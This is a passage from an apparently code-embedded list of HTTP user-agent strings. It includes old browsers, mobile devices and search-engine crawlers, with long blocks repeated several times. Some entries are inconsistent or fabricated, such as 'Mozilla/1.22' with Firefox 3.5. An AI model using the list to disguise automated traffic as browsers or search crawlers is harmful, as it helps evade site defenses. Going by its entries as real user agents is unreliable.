'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
